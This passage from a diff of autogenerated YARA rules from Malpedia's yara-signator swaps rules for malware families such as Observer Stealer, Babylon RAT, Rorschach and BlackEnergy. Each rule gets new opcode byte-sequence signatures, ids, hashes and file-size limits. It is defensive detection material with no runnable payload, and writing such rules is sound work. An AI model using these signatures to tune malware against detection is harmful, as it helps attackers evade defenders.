-		$sequence_8 = { 8b8a1c120000 85c9 0f8ee7000000 31ff 31c0 8d9d20f7ffff 89b514f7ffff }
-		$sequence_9 = { 85c0 753b 0fb78394010000 338396010000 0d00000080 baffe8a435 89d1 }
+		$sequence_0 = { 7513 33d2 e8???????? 84c0 }
+		$sequence_1 = { 33d2 e8???????? 84c0 74e4 }
+		$sequence_2 = { 81e2ff030000 81e1bf030000 83c940 c1e10a }
+		$sequence_3 = { 7513 33d2 e8???????? 84c0 74e4 }
+		$sequence_4 = { 81e1bf030000 83c940 c1e10a 0bca }
+		$sequence_5 = { ff15???????? 33c0 eb05 b801010000 }
+		$sequence_6 = { 85db 7513 33d2 e8???????? 84c0 74e4 }
+		$sequence_7 = { 85db 7513 33d2 e8???????? 84c0 }
+		$sequence_8 = { 85db 7513 33d2 e8???????? }
+		$sequence_9 = { 81e2ff030000 81e1bf030000 83c940 c1e10a 0bca }
 
 	condition:
-		7 of them and filesize <90112
+		7 of them and filesize <98304
 }
-rule MALPEDIA_Win_Observer_Stealer_Auto : FILE
+rule MALPEDIA_Win_Babylon_Rat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "536559c4-9574-5591-915f-4694149d7210"
+		id = "520c4cbb-7168-5cad-9ac5-61fcc34e0523"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.observer_stealer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.observer_stealer_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.babylon_rat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.babylon_rat_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "7a05fc963c0665c59a8fed1a8fc722896fb246e3248a23ceef5fd4c8486da3c7"
+		logic_hash = "d4eca63a433742f88d4570a738d70afc76a66ddfd0669e9e8d639b4f32143e21"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -167591,32 +174871,32 @@ rule MALPEDIA_Win_Observer_Stealer_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c1ea03 0fb60c02 8bc6 83e007 0fabc1 8b442414 }
-		$sequence_1 = { 8b5c2418 f6c301 746c 8b3e 85ff 7466 8b5e04 }
-		$sequence_2 = { 50 ff15???????? 8b4c2460 8d442440 50 e8???????? 8d4c2440 }
-		$sequence_3 = { e8???????? 68???????? 8d8d54ffffff e8???????? 68???????? 8d8d6cffffff }
-		$sequence_4 = { 59 eb3b 55 8b6b04 2bee c1fd02 56 }
-		$sequence_5 = { 85f6 740b 83feff 0f859a000000 eb6c 8b1c8d287e4300 }
-		$sequence_6 = { 8d8d60ffffff e8???????? 59 83781408 7202 8b00 }
-		$sequence_7 = { 8b442420 8918 5f 5e 5d 5b 83c40c }
-		$sequence_8 = { 85d2 7912 f7da e8???????? 6a2d 8d48fe 58 }
-		$sequence_9 = { 8d7c2468 894c2464 885c2450 ab ab ab ab }
+		$sequence_0 = { ff75ec 8908 e8???????? 83c40c 85c0 7407 8b4808 }
+		$sequence_1 = { ff761c 6a44 57 e8???????? 83c418 eb36 6a00 }
+		$sequence_2 = { f6c23e 0f84ac000000 8bc3 83e01a 663bc3 740e 8bc3 }
+		$sequence_3 = { ffb50cffffff ffb5f0feffff e8???????? 8bc8 e8???????? 660f28c8 eb54 }
+		$sequence_4 = { e8???????? 56 e8???????? 59 50 56 8d8dc8fbffff }
+		$sequence_5 = { ff15???????? 50 680a190000 e9???????? e8???????? 8945f8 59 }
+		$sequence_6 = { ff36 0fb6c9 51 ff761c ff7510 ff7508 e8???????? }
+		$sequence_7 = { c645fc01 85c0 7404 8b10 eb02 8bd3 8b45e8 }
+		$sequence_8 = { ff7708 6a77 53 e8???????? ff751c 53 e8???????? }
+		$sequence_9 = { ff7514 ff7510 57 e8???????? 83c40c eb79 53 }
 
 	condition:
-		7 of them and filesize <614400
+		7 of them and filesize <1604608
 }
-rule MALPEDIA_Win_Rorschach_Auto : FILE
+rule MALPEDIA_Win_Ragnarok_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1c4aea68-8f40-596d-a63a-efb95cb498a7"
+		id = "a9bce1d7-5883-5de4-9b9b-a02072e8d068"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rorschach"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rorschach_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ragnarok"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ragnarok_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "0cdb3537df7f12a9076109ea202e9af8c6db5ccfaaca59c4a71971579385ead3"
+		logic_hash = "4922b92876243cdefed80b6c256ba49e22b0c6eaa1ad052381af99f572200bea"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -167630,32 +174910,32 @@ rule MALPEDIA_Win_Rorschach_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 33d2 488d8df8020000 e8???????? 88850e030000 b26e 488d8df8020000 e8???????? }
-		$sequence_1 = { f65d7f 488d15ece30000 4c8d05e9e30000 488955df 488d05d2e30000 488955e7 488945bf }
-		$sequence_2 = { f5 66d3f7 66c1f703 d3d7 4801e3 d2f0 c0f807 }
-		$sequence_3 = { f30f7f4de0 660f6f05???????? f30f7f45f0 660f6f0d???????? f30f7f4d00 c74510771a771b c6451477 }
-		$sequence_4 = { 0c40 8845df e8???????? 4c8d05e8180700 488d55c0 488d4da0 e8???????? }
-		$sequence_5 = { 33c0 48894310 48c7431807000000 668903 488b4c2458 4833cc e8???????? }
-		$sequence_6 = { 33d2 488d4da8 e8???????? 8845b4 b272 488d4da8 e8???????? }
-		$sequence_7 = { e8???????? 88851e0b0000 b265 488d8de0080000 e8???????? 88851f0b0000 33d2 }
-		$sequence_8 = { e8???????? c60000 ba0f000000 488d4d99 e8???????? c60000 488d4d99 }
-		$sequence_9 = { f6d4 660fbec0 0f98c0 488d7f01 0fb6c0 0f94c4 88f0 }
+		$sequence_0 = { c1f906 57 6bf838 894df4 8b048d28754300 8b540718 8955ec }
+		$sequence_1 = { 884219 0fb6461a 88421a 0fb6461b 88421b 0fb6461c 88421c }
+		$sequence_2 = { c1e908 0fb6c9 c1e308 c1ea10 0fb689105c4300 33d9 8b4dfc }
+		$sequence_3 = { 8bc8 2345a4 f7d1 234d9c 0bc8 c145980a }
+		$sequence_4 = { 0fb689104b4300 33d9 0fb6487e c1e308 0fb689104b4300 33d9 0fb6487d }
+		$sequence_5 = { 8b7d08 0fb6ca 333c8d105d4300 8bcf 897d08 334814 894d08 }
+		$sequence_6 = { 8b75dc 33f9 037dfc 81c64efd53a9 037d98 c1c209 }
+		$sequence_7 = { c1c205 8b7dac 0bc8 034dd8 81c7dcbc1b8f 0355bc 03f9 }
+		$sequence_8 = { 8b048528754300 c644032a0a 8b5d08 747f 8b45f8 8b5df0 8b048528754300 }
+		$sequence_9 = { 8bf8 89bdb8feffff ff36 68???????? ff35???????? e8???????? 8b4810 }
 
 	condition:
-		7 of them and filesize <3921930
+		7 of them and filesize <483328
 }
-rule MALPEDIA_Win_Predator_Auto : FILE
+rule MALPEDIA_Win_Bart_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "139b7e6c-7d6f-5725-bc06-83e05af2728a"
+		id = "1691d219-2287-5770-a9af-369cb19fd25c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.predator"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.predator_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bart"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bart_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "4f1faf378ed80607ad7505f3b525c8d2a5bbf8d81c1cadcdd453ab7a1d609878"
+		logic_hash = "20a38c1c6b8b98b8d85839077c1f03f4679fb05ea3fd09bb3acf392b4f9ee60a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -167669,32 +174949,32 @@ rule MALPEDIA_Win_Predator_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 55 8bec 83ec18 8bc2 56 8bf1 8d4dfd }
-		$sequence_1 = { 80c230 8811 85c0 75f2 51 8d45fd }
-		$sequence_2 = { 8d4dfd 57 6a0a 5f 85c0 7916 }
-		$sequence_3 = { 03c2 8bce 50 e8???????? 5f 8bc6 5e }
-		$sequence_4 = { 7508 83c8ff e9???????? ff75ec e8???????? }
-		$sequence_5 = { 83ec18 8bc2 56 8bf1 8d4dfd }
-		$sequence_6 = { ff75ec e8???????? 59 8bf0 }
-		$sequence_7 = { 7508 83c8ff e9???????? ff75ec e8???????? 59 8bf0 }
-		$sequence_8 = { 894e08 89560c 834dfcff 8b4df4 64890d00000000 5f 5e }
-		$sequence_9 = { 8b00 57 03c2 8bce }
+		$sequence_0 = { 8b0483 3bd0 772e 7205 80c1ff 79e8 33c9 }
+		$sequence_1 = { 8b0433 03c2 03c1 3bc2 7404 1bc9 }
+		$sequence_2 = { 8a18 894dd0 8955c8 8945cc 57 85f6 }
+		$sequence_3 = { 660fd6459c e8???????? 83c410 8d8570ffffff 33c9 ba07000000 }
+		$sequence_4 = { e8???????? 8b7598 8d4d9c 8b5590 0fb606 }
+		$sequence_5 = { 8b4485dc d3e8 88043a 0fbed3 3bd6 7cde 8bbd58ffffff }
+		$sequence_6 = { 7868 8bc8 0fbec2 8b5508 894c2418 8d1482 8a44240e }
+		$sequence_7 = { 84db 0f8ed3020000 0fb6d3 8bc7 899564ffffff 0b08 8d4004 }
+		$sequence_8 = { 8bca e8???????? 8b4dfc 83c438 33cd 5f 5e }
+		$sequence_9 = { 0f88ff000000 8b7df4 83c706 42 }
 
 	condition:
-		7 of them and filesize <2211840
+		7 of them and filesize <163840
 }
-rule MALPEDIA_Win_Blackenergy_Auto : FILE
+rule MALPEDIA_Win_Bootwreck_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5db0ecdd-a93d-527c-8567-cf3a04744f9e"
+		id = "7e23b82b-3bdc-58cd-906f-3ab5825b9ffb"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackenergy"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.blackenergy_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bootwreck"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bootwreck_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "0197d7c7455032dc4a706fe02d56c8be876c2f6b4f29a6658284a54a2993239d"
+		logic_hash = "49dbec8ae0163fe1b10f7b427af3210b6bbd81884139d209319f2b77e78ba995"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -167708,32 +174988,32 @@ rule MALPEDIA_Win_Blackenergy_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { bb01000000 eb02 03d8 8bc2 e9???????? 8b4df4 014dd8 }
-		$sequence_1 = { 39750c 740c 56 56 ff7508 ff550c }
-		$sequence_2 = { 8b7df4 8b75f0 8b4d08 f3a4 a1???????? 33c9 3bc1 }
-		$sequence_3 = { e8???????? 2bc6 3bc7 760f 6bd20a 47 e8???????? }
-		$sequence_4 = { 0f848f000000 53 8d45f0 50 8d45d8 50 }
-		$sequence_5 = { 58 e8???????? 85c0 75ae 5e 5f c9 }
-		$sequence_6 = { 85c0 7441 8b5dc8 8b5b28 85db 7427 8b4de4 }
-		$sequence_7 = { 33f6 56 6810000002 6a03 56 6a01 6800000080 }
-		$sequence_8 = { 8b583c 03d8 895dc8 8b4334 8945e0 33f6 46 }
-		$sequence_9 = { 50 ff15???????? 50 ff5508 6a02 }
+		$sequence_0 = { 33ff 897dfc 3b1cfde0c18100 7409 47 897dfc }
+		$sequence_1 = { 8d642428 0f8409000000 660fbec2 86c7 8b4510 55 660fb6da }
+		$sequence_2 = { 85b178373e03 025ad9 7efa 99 18c7 7e55 }
+		$sequence_3 = { c74424147d978300 682dedfcaa 9c 89442418 9c 9c ff742420 }
+		$sequence_4 = { ee 5b 7f3f 99 68e43b3fa7 6c }
+		$sequence_5 = { 876c2428 66891c24 688106ab60 896c2428 5d 66896c2404 bd???????? }
+		$sequence_6 = { 8955fc f9 8d9b00000000 30e1 37 d4b7 8b4d08 }
+		$sequence_7 = { ff4638 88c3 66f7d6 b37c 5b 660fb6f9 5f }
+		$sequence_8 = { c25400 c7042400000000 60 8774241c 8d64241c 0f8103500500 }
+		$sequence_9 = { 8d041f f7c5036c87b2 99 84ed f8 60 6681fb744d }
 
 	condition:
-		7 of them and filesize <98304
+		7 of them and filesize <10821632
 }
-rule MALPEDIA_Win_Rustock_Auto : FILE
+rule MALPEDIA_Win_Sanny_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "cb44bdc8-a730-56ac-98ad-0553c4475f0d"
+		id = "de370068-b36d-54a3-8d87-5388d41e6079"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rustock"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rustock_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sanny"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sanny_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "5fff7e7d2c26e2013c1d3a65535e3ac75dc9cd45cc7a0c04309e438d2a86951e"
+		logic_hash = "d17095442c6476759b49de20e09af803b9389d5106c74ad1d4cc2616aa104b23"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -167747,32 +175027,32 @@ rule MALPEDIA_Win_Rustock_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d6424fc 892c24 31ed 01e5 8d6424e4 50 }
-		$sequence_1 = { 031d???????? 21db 5e 5a }
-		$sequence_2 = { 8bd8 85db 7439 8b4dc0 33c0 8bfb 8bd1 }
-		$sequence_3 = { 83c604 56 53 ff15???????? 53 }
-		$sequence_4 = { 833d????????00 7421 56 e8???????? 85c0 59 75ac }
-		$sequence_5 = { 50 ff7520 e8???????? 83c418 8945cc 3bc7 74d4 }
-		$sequence_6 = { ff750c e8???????? 68e8030000 ff15???????? e8???????? 8bf8 }
-		$sequence_7 = { 59 8945c4 83f8ff 7507 33c0 e9???????? 3b4520 }
-		$sequence_8 = { ebb5 7402 ebd3 8b1c24 68???????? }
-		$sequence_9 = { 014514 a1???????? 83f802 0f84de010000 3bc7 }
+		$sequence_0 = { 51 8bcb e8???????? 8b5310 68???????? 8d442a08 }
+		$sequence_1 = { 8b842430060000 8d742410 8d5901 b987000000 53 81ec1c020000 8bfc }
+		$sequence_2 = { ebd3 53 55 56 57 }
+		$sequence_3 = { 52 68???????? 56 e8???????? 8b44244c }
+		$sequence_4 = { 8bc2 c1c60a 03f1 f7d0 0bc6 33c1 }
+		$sequence_5 = { ae 40 00bcae4000e0ae 40 0023 d18a0688078a }
+		$sequence_6 = { 55 68???????? 55 e8???????? 8b4c2424 83c410 55 }
+		$sequence_7 = { 663918 747f 668b11 6683fa41 720c }
+		$sequence_8 = { f3ab 8b0d???????? aa 898c2408010000 b906000000 33c0 8dbc240d010000 }
+		$sequence_9 = { 8b44241c 8d9424dc000000 52 50 ffd5 b925000000 33c0 }
 
 	condition:
-		7 of them and filesize <565248
+		7 of them and filesize <253952
 }
-rule MALPEDIA_Win_Batchwiper_Auto : FILE
+rule MALPEDIA_Win_Thunderx_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "cb044b8c-027b-5368-bd79-45da5d915947"
+		id = "bd791591-7f4e-54f3-bf78-0dd306ad53b2"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.batchwiper"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.batchwiper_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.thunderx"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.thunderx_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "14983b1d6532d433e6ad6924f17da812f5983b6eabd0fde8fd8892a9d3b6fb0b"
+		logic_hash = "088c8f2e806c5cf8226a8db8f2cdc4a3ddd2da7bdf68b4f2265db3773cd1c842"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -167786,32 +175066,32 @@ rule MALPEDIA_Win_Batchwiper_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83c001 8bce c1e908 330c9de8904000 }
-		$sequence_1 = { 8b0424 894510 8b442408 894514 8b442404 }
-		$sequence_2 = { 8b442408 894514 8b442404 894518 8d44240c }
-		$sequence_3 = { e8???????? 50 31db 3b1c24 756b }
-		$sequence_4 = { 89d8 e8???????? 89c3 83fb01 7531 ff35???????? }
-		$sequence_5 = { 83fb01 7531 ff35???????? ba???????? e8???????? 8b15???????? e8???????? }
-		$sequence_6 = { e8???????? 89c3 83fb01 7531 ff35???????? ba???????? }
-		$sequence_7 = { e8???????? 8d0d28b14000 5a e8???????? 8b15???????? ff35???????? e8???????? }
-		$sequence_8 = { ba???????? e8???????? 8d0d28b14000 5a e8???????? 8b15???????? ff35???????? }
-		$sequence_9 = { c705????????02000000 893d???????? c705????????dd424000 c705????????80464000 c705????????da464000 c705????????00474000 }
+		$sequence_0 = { 50 e8???????? c9 c3 c705????????58004200 b001 c3 }
+		$sequence_1 = { b9???????? e8???????? 0fb60d???????? 84c0 6a01 58 0f45c8 }
+		$sequence_2 = { 51 53 8b5d10 8bd1 56 57 8955fc }
+		$sequence_3 = { 8d8d9cfbffff e8???????? 8d8d84fbffff e8???????? 8d8d6cfbffff e8???????? }
+		$sequence_4 = { 6a02 8d44241c 895c2424 50 53 53 }
+		$sequence_5 = { e8???????? 84c0 7558 83c718 3b7da0 75ea 8d4de0 }
+		$sequence_6 = { 89459c 8945a0 e8???????? 84c0 0f858d000000 395f10 }
+		$sequence_7 = { 03d1 8b0c85701b4200 8a0433 43 88440a2e 8b4dd8 8b55b4 }
+		$sequence_8 = { 8932 897204 897208 5e 5d c20400 6a18 }
+		$sequence_9 = { 8d8dd0fdffff e8???????? 8d4dac c645fc06 }
 
 	condition:
-		7 of them and filesize <270336
+		7 of them and filesize <319488
 }
-rule MALPEDIA_Win_Strifewater_Rat_Auto : FILE
+rule MALPEDIA_Win_Matsnu_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a7c325df-e174-5ac3-901f-1a7ff4cd21d1"
+		id = "c9a7bdf6-1deb-5130-82f0-9b1058e504ad"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.strifewater_rat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.strifewater_rat_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.matsnu"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.matsnu_auto.yar#L1-L117"
 		license_url = "N/A"
-		logic_hash = "d8e033b18ffd1945f4234d82e35ef039ad0fd09fec88b912a93b43fc77397cc7"
+		logic_hash = "e4de93852a1879de4977ea1cd375165f9dcf6c32de8c352e98b35973d623758e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -167825,32 +175105,32 @@ rule MALPEDIA_Win_Strifewater_Rat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83630800 488d0d10400500 48890b c6434400 448ac6 488bd0 }
-		$sequence_1 = { 4183c9ff 4d8bc7 66448926 4889742420 8d4a03 ff15???????? f7d8 }
-		$sequence_2 = { 663b3d???????? 0f8559010000 663b1d???????? 0f854c010000 66443b35???????? 0f853e010000 }
-		$sequence_3 = { 488d05bb720600 488bf9 488901 8bda 488b4910 e8???????? 488b4f18 }
-		$sequence_4 = { 4803c0 480101 4803db eb22 498b06 498bce }
-		$sequence_5 = { 488bf8 48898424c0000000 488b4e08 4885c9 7509 488d15fc350900 eb0d }
-		$sequence_6 = { 0903 e9???????? 488d05d8940500 0f100f 0f1006 f30f7f4dd0 f30f7f45e0 }
-		$sequence_7 = { 418d45ff 410fb68c8332b30800 410fb6b48333b30800 8bd9 }
-		$sequence_8 = { 498b4e08 4c8d4508 33d2 ff15???????? 488b7508 4c8d4530 488bce }
-		$sequence_9 = { 884dd8 488bd3 482bd7 48d1fa 4883fa0f 7426 41b001 }
+		$sequence_0 = { e9???????? 8985bcfbffff 83bdb0fbffff01 0f8588000000 8b85bcfbffff 8985c4fbffff 8b85c0fbffff }
+		$sequence_1 = { eb04 c647023d 837d1003 7213 }
+		$sequence_2 = { eb04 c647023d 837d1003 7213 31c0 8a4602 243f }
+		$sequence_3 = { 8b45e0 3b450c 0f8391000000 c745e800000000 }
+		$sequence_4 = { 750f c785a4fbffff02000000 e9???????? 8985bcfbffff 83bdb0fbffff01 0f8588000000 8b85bcfbffff }
+		$sequence_5 = { 85c0 0f84a6000000 8945fc 8b45e0 3b450c }
+		$sequence_6 = { c78570f3ffff00000000 c78574f3ffff00000000 c78578f3ffff00000000 c7857cf3ffff00000000 }
+		$sequence_7 = { 751d ff45da ba00000000 8b45da }
+		$sequence_8 = { 3b45ba 7228 8b7d08 8b4704 3b45ba 751d }
+		$sequence_9 = { 89e5 81ec18020000 c785e8fdffff00000000 c785ecfdffff00000000 c785f0fdffff00000000 }
 
 	condition:
-		7 of them and filesize <1552384
+		7 of them and filesize <606992
 }
-rule MALPEDIA_Win_Ddkeylogger_Auto : FILE
+rule MALPEDIA_Win_Fuxsocy_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "32af4d2e-12e0-5512-a4a7-e09c0d4c8550"
+		id = "acae4e77-3091-5877-bdf5-d5242a4de3aa"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ddkeylogger"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ddkeylogger_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fuxsocy"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fuxsocy_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "03458a2b11f7d3c85fa0851f46b24d084521ba159cb6b960088359db4227b8a0"
+		logic_hash = "7715515075d3596588ef1486b8f0b7f8a98d13af15afc29c2d4231048e4e16d8"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -167864,34 +175144,34 @@ rule MALPEDIA_Win_Ddkeylogger_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8bf7 83e61f c1e606 03348580ee4500 }
-		$sequence_1 = { 51 894df4 8955fc 8945f8 e8???????? 83c408 }
-		$sequence_2 = { 8bc8 c1e902 f3a5 8bc8 8d95e8faffff 83e103 52 }
-		$sequence_3 = { 0fb64f08 80cbff d2e3 40 f6d3 205c30ff 0fb64f08 }
-		$sequence_4 = { 0405 c3 f6c20c 7409 f6c208 0f95c0 }
-		$sequence_5 = { 52 50 8b81e0000000 ffd0 837df804 75e8 }
-		$sequence_6 = { c745fc00000000 e8???????? 83c40c 8d85ccfaffff 50 8d8df0fdffff 51 }
-		$sequence_7 = { 50 57 ffd3 8945bc 8d45c8 50 }
-		$sequence_8 = { ff248d4cf74000 8d48cf 80f908 7706 6a03 }
-		$sequence_9 = { 6bc930 8975e0 8db1c0624100 8975e4 }
+		$sequence_0 = { 72f0 8bcf e8???????? 5f 5e 5d ff74240c }
+		$sequence_1 = { 8b4e08 890491 ff06 eb02 891e 5b 5f }
+		$sequence_2 = { 6689442420 8d442422 53 50 894c2420 885c2413 895c2418 }
+		$sequence_3 = { 85c0 7426 68???????? 68???????? ff15???????? 50 ff15???????? }
+		$sequence_4 = { 6804010000 8d85ccfdffff 50 ff15???????? 68???????? 8d85ccfdffff 50 }
+		$sequence_5 = { e8???????? 59 59 eb4b 807e0200 7404 85db }
+		$sequence_6 = { c745f808020000 ff15???????? 85c0 753d 8d85e8fdffff 50 }
+		$sequence_7 = { 33f6 ff15???????? 8bc8 e8???????? 85c0 7426 68???????? }
+		$sequence_8 = { 68???????? 50 8d54241c 8d4c2424 e8???????? 83c40c 83c310 }
+		$sequence_9 = { 50 ff74241c 33c9 ff74242c 41 c744242c32000000 c744246804000000 }
 
 	condition:
-		7 of them and filesize <808960
+		7 of them and filesize <131072
 }
-rule MALPEDIA_Win_Badnews_Auto : FILE
+rule MALPEDIA_Win_Badhatch_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "82b67459-b37a-5597-851f-c5e10ae625fd"
+		id = "e8145868-3ca1-5c30-b22c-ef0d5f024b54"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.badnews"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.badnews_auto.yar#L1-L214"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.badhatch"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.badhatch_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "bc13ea27737db6028c742e92e044e676e8322f3710d6ba3506e9723f27d2a819"
+		logic_hash = "a465c1cdccc061411fd4300f0446fb5369592ae409bf62acf36666de581c3980"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -167903,44 +175183,32 @@ rule MALPEDIA_Win_Badnews_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 e8???????? 83c404 68???????? 6804010000 ff15???????? }
-		$sequence_1 = { c78534ffffff47657457 c78538ffffff696e646f c7853cffffff77546578 66c78540ffffff7457 }
-		$sequence_2 = { c705????????55736572 c705????????33322e64 66c705????????6c6c c605????????00 }
-		$sequence_3 = { eb02 33c9 c0e004 02c1 3423 c0c003 }
-		$sequence_4 = { 8945fc 53 56 57 8d8534ffffff }
-		$sequence_5 = { 55 8bec 8b450c 3d01020000 }
-		$sequence_6 = { d1f9 68???????? 03c9 51 }
-		$sequence_7 = { 68???????? 6a1a 68???????? 57 }
-		$sequence_8 = { 6a02 68???????? 50 a3???????? }
-		$sequence_9 = { 8bf0 56 ff15???????? 50 6a40 }
-		$sequence_10 = { 56 ffd3 85c0 7403 83c608 8a06 }
-		$sequence_11 = { 57 6a00 6880000000 6a04 6a00 6a01 6a04 }
-		$sequence_12 = { ff15???????? 85c0 7405 83c004 }
-		$sequence_13 = { 68???????? ff15???????? b8???????? 83c424 8d5002 668b08 }
-		$sequence_14 = { e8???????? 68???????? 8d45f4 c745f4682f0110 50 e8???????? cc }
-		$sequence_15 = { 83e61f c1f805 c1e606 c1e910 c0e107 8b1485d0a70110 }
-		$sequence_16 = { 8d8d54ffffff 8d5101 90 8a01 }
-		$sequence_17 = { 7414 8bc2 c1f805 83e21f c1e206 031485d0a70110 }
-		$sequence_18 = { 8b048dd0a70110 4e 807d1300 8955e4 c64418050a }
-		$sequence_19 = { 58 668986b8000000 668986be010000 c7466848960110 }
-		$sequence_20 = { 2bc2 8bf0 d1fe 6a55 ff34f5e0470110 ff7508 e8???????? }
-		$sequence_21 = { 41 84c0 75f9 2bce 741c 804415ec03 }
+		$sequence_0 = { 53 6a00 50 ffd7 56 6a00 ff35???????? }
+		$sequence_1 = { 8b7730 59 59 8975f0 85f6 7514 }
